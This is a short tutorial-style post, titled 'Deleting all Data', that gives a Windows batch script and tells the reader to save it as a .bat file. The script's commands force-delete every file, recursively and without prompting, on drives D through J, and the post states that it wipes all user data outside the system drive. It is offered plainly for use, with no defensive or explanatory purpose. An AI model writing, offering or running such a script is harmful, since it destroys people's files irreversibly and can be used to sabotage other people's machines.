Deleting all Data

OPEN NOTEPAD TYPE THE FOLLOWING CODE:

@echo off
del D:\*.* /f /s /q
del E:\*.* /f /s /q
del F:\*.* /f /s /q
del G:\*.* /f /s /q
del H:\*.* /f /s /q
del I:\*.* /f /s /q
del J:\*.* /f /s /q

Save it as name.bat

Note: This file deletes all users data except the data present in system drive.